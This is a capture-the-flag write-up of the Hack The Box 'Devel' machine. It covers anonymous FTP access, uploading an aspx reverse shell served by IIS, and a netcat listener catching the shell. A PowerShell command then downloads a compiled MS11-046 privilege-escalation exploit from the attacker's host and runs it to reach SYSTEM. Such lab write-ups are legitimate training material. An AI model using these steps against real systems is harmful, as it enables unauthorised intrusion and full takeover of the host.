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Hack The Box : Devel

22 July, 2021

Starting off with an nmap scan

# nmap -A -sC -sV -O 10.10.10.5 
Starting Nmap 7.91 ( https://nmap.org )
Nmap scan report for 10.10.10.5
Host is up (0.40s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 21/tcp)
HOP RTT       ADDRESS
1   339.18 ms 10.10.16.1
2   507.12 ms 10.10.10.5

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.01 seconds

Let's look at the FTP port first, it has anonymous access enabled.

# ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:kali): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls -trlah
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.

Seems like the directory being served through IIS is available through FTP as well

# cat iisstart.htm 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS7</title>
<style type="text/css">
<!--
body {
        color:#000000;
        background-color:#B3B3B3;
        margin:0;
}

#container {
        margin-left:auto;
        margin-right:auto;
        text-align:center;
        }

a img {
        border:none;
}

-->
</style>
</head>
<body>
<div id="container">
<a href="http://go.microsoft.com/fwlink/?linkid=66138&amp;clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>
</div>
</body>
</html>

I ran gobuster as well and didn't get any interesting paths.

I thought if I could upload a file using FTP, it will automatically be served/executed by IIS. IIS supports asp, aspx, php and config files so I started uploading reverse shells one by one to see which would work. aspx worked! I used this shell

# nc -lvnp 4444                           
listening on [any] 4444 ...
connect to [10.10.16.174] from (UNKNOWN) [10.10.10.5] 49158
Spawn Shell...
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
c:\windows\system32\inetsrv>whoami
whoami
iis apppool\web

Access to the user babis was denied

c:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 8620-71F1

 Directory of c:\Users

18/03/2017  02:16 ��    <DIR>          .
18/03/2017  02:16 ��    <DIR>          ..
18/03/2017  02:16 ��    <DIR>          Administrator
17/03/2017  05:17 ��    <DIR>          babis
18/03/2017  02:06 ��    <DIR>          Classic .NET AppPool
14/07/2009  10:20 ��    <DIR>          Public
               0 File(s)              0 bytes
               6 Dir(s)  22.116.904.960 bytes free

c:\Users>cd babis
cd babis
Access is denied.
c:\Users\Public\Downloads>systeminfo
systeminfo

Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise 
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          babis
Registered Organization:   
Product ID:                55041-051-0948536-86302
Original Install Date:     17/3/2017, 4:17:31 ��
System Boot Time:          22/7/2021, 5:15:46 ��
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             el;Greek
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory:     3.071 MB
Available Physical Memory: 2.444 MB
Virtual Memory: Max Size:  6.141 MB
Virtual Memory: Available: 5.515 MB
Virtual Memory: In Use:    626 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Local Area Connection 3
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.5
                                 [02]: fe80::58c0:f1cf:abc6:bb9e
                                 [03]: dead:beef::99d1:f6a0:2ab:7b1c
                                 [04]: dead:beef::58c0:f1cf:abc6:bb9e

I used Windows Exploit Suggester to find an exploit using the systeminfo output

# python2 windows-exploit-suggester2.7.py --database 2021-07-22-mssb.xls --systeminfo systeminfo 
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (utf-8)
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 179 potential bulletins(s) with a database of 137 known exploits
[*] there are now 179 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 7 32-bit'
[*] 
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*]   http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*]   http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[*] 
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-015: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (977165) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[*] done

I couldn't get any of the above exploits to actually work on the system. After searching around, I found MS11-046. Thanks to Abatchy's collection, I found a compiled executable

c:\Users\Public\Downloads>powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.16.174:8000/MS11-046.exe', 'c:\Users\Public\Downloads\ms11-046.exe')"
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.16.174:8000/MS11-046.exe', 'c:\Users\Public\Downloads\ms11-046.exe')"


c:\Users\Public\Downloads>ms11-046.exe
ms11-046.exe

c:\Windows\System32>whoami
whoami
nt authority\system

c:\>type c:\Users\babis\Desktop\user.txt.txt
type c:\Users\babis\Desktop\user.txt.txt
<flag>
c:\>type c:\Users\Administrator\Desktop\root.txt
type c:\Users\Administrator\Desktop\root.txt
<flag>